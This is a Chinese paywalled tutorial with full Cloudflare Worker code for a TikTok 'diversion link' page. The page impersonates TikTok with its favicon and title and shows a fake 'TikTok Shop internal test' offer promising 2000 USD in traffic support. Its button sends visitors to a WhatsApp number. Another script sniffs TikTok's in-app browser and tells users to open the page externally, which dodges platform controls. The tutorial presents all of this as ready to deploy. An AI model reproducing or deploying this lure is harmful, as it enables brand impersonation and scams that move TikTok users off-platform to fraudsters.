tiktok主页链接:利用cloudflare的workers功能制作分流链接(附跳转站外方案)

tiktok主页链接:利用cloudflare的workers功能制作分流链接(附跳转站外方案)|5v
tiktok主页链接:利用cloudflare的workers功能制作分流链接(附跳转站外方案)
此内容为付费阅读,请付费后查看
30
立即购买
您当前未登录!建议登陆后购买,可保存购买订单
付费阅读

 

tiktok内部浏览器打开效果如下

图片[1]|tiktok主页分流链接|5v

关于域名绑定可到油管观看教程

图片[2]|tiktok主页分流链接|5v

以下为worker代码

// Cloudflare Workers KV 命名空间
const VISIT_COUNTERs = VISIT_COUNTER; // 替换为你的 KV 命名空间名称

async function handleRequest(request) {
    const url = new URL(request.url);

    if (url.pathname === '/increment-button-click') {
        // 更新按钮点击量
        await incrementCounter(VISIT_COUNTERs, 'button_clicks');
        return new Response('Button click counted', { status: 200 });
    }

    // 更新访问量计数
    const visitCount = await incrementCounter(VISIT_COUNTERs, 'page_views');

    // 获取按钮点击量
    const buttonClickCount = await VISIT_COUNTERs.get('button_clicks') || 0;

    // 获取用户的国家信息
    const country = request.headers.get('cf-ipcountry') || 'Unknown';

    // 返回包含自定义 HTML 的响应
    return new Response(getHtml(country, visitCount, buttonClickCount), {
        headers: { 'Content-Type': 'text/html' },
    });
}

// 更新计数器的函数
async function incrementCounter(kvNamespace, key) {
    const count = await kvNamespace.get(key) || 0;
    const newCount = parseInt(count) + 1;
    await kvNamespace.put(key, newCount);
    return newCount;
}

// 生成 HTML 页面
function getHtml(country, visitCount, buttonClickCount) {
    return `
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>tiktok</title>
        <link rel="icon" href="https://www.tiktok.com/favicon.ico" type="image/x-icon">
        <style>
            body {
                background-color: #ffffff;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                font-family: Arial, sans-serif;
                margin: 0;
            }
            .container {
                text-align: center;
                max-width: 600px;
                padding: 20px;
                border: 1px solid #e0e0e0;
                border-radius: 8px;
                box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            }
            .profile-pic {
                width: 150px;
                height: 150px;
                border-radius: 50%;
                overflow: hidden;
                margin: 0 auto 20px;
            }
            .profile-pic img {
                width: 100%;
                height: 100%;
                object-fit: cover;
            }
            .message-title {
                font-weight: bold;
                margin-top: 20px;
                font-size: 18px;
            }
            .message-body {
                text-align: left;
                margin: 20px 0;
                line-height: 1.6;
                font-size: 16px;
            }
            .detail-button {
                display: inline-block;
                padding: 10px 20px;
                border: 2px solid #e0e0e0;
                border-radius: 8px;
                background-color: #ffffff;
                cursor: pointer;
                font-weight: bold;
                margin-top: 20px;
                text-align: center;
            }
            .detail-button:hover {
                background-color: #f0f0f0;
            }
            /* 灰色透明遮罩 */
            .overlay {
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: rgba(0, 0, 0, 0.7);
                display: none;
                justify-content: center;
                align-items: center;
                color: white;
                z-index: 1000;
            }
            .overlay .content {
                text-align: center;
            }
           /* 箭头样式 */
            .overlay .arrow {
                     position: absolute;
                top: 10px;
                right: 10px;
                width: 50px;
                height: 50px;
                background: url('https://imgsa.baidu.com/forum/pic/item/c2cec3fdfc03924578a70d2bc194a4c27d1e2580.jpg') no-repeat center;
                background-size: contain;
    }
            .overlay .message {
                margin-top: 40px;
                font-size: 18px;
            }
        </style>
        <script>
            function showOverlay() {
                const userAgent = navigator.userAgent.toLowerCase();
                if (userAgent.includes("musical")) {
                    document.querySelector('.overlay').style.display = 'flex';
                }
            }
    
            window.onload = showOverlay;
    
            async function redirectToLink() {
                const country = '${country}';
                await fetch('/increment-button-click'); // 更新按钮点击量
    
                if (country === 'GB') {
                    window.location.href = 'whatsapp://send/?phone=17879516980';
                } else if (country === 'JP') {
                    window.location.href = 'whatsapp://send/?phone=17879516980';
                } else {
                    window.location.href = 'whatsapp://send/?phone=17879516980';
                }
            }
        </script>
    </head>
    <body>
        <div class="container">
            <div class="profile-pic">
                <img src="https://www.strategyand.pwc.com/gx/en/alumni/middle-east/featured-alumni/teaser-alumni-shant-oknayan.gif" alt="Profile Picture">
            </div>
            <div class="message-title">Dear TikTok User:</div>
            <div class="message-body">
                Since you have good qualifications, we sincerely invite you to join the internal test of TikTok Shop e-commerce self-operated no-source mode! You don't need to stock goods. We support drop shipping. New merchants can apply for 2000USD traffic support. The number of places is limited. Click the button below to contact the account manager to join for free.<br><br>
                This invitation information is valid until October 30, 2024!<br>
            </div>
            <div class="detail-button" onclick="redirectToLink()">Join us</div>
        </div>
    
        <!-- 灰色透明遮罩 -->
        <div class="overlay">
            <div class="content">
                <div class="arrow"></div>
                <div class="message">Please click on the upper right corner and Open in browser</div>
                <br>tk.sex2x.com<br>
            </div>
        </div>
    </body>
    </html>
    `;
}

addEventListener('fetch', event => {
    event.respondWith(handleRequest(event.request));
});

然后到KV新建一个名为VISIT_COUNTER的空间,用来储存计数器

图片[3]|tiktok主页分流链接|5v

然后回去刚刚创建的workers设置里把KV绑定一下,自定义域名最好也绑定一下

图片[4]|tiktok主页分流链接|5v

 

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享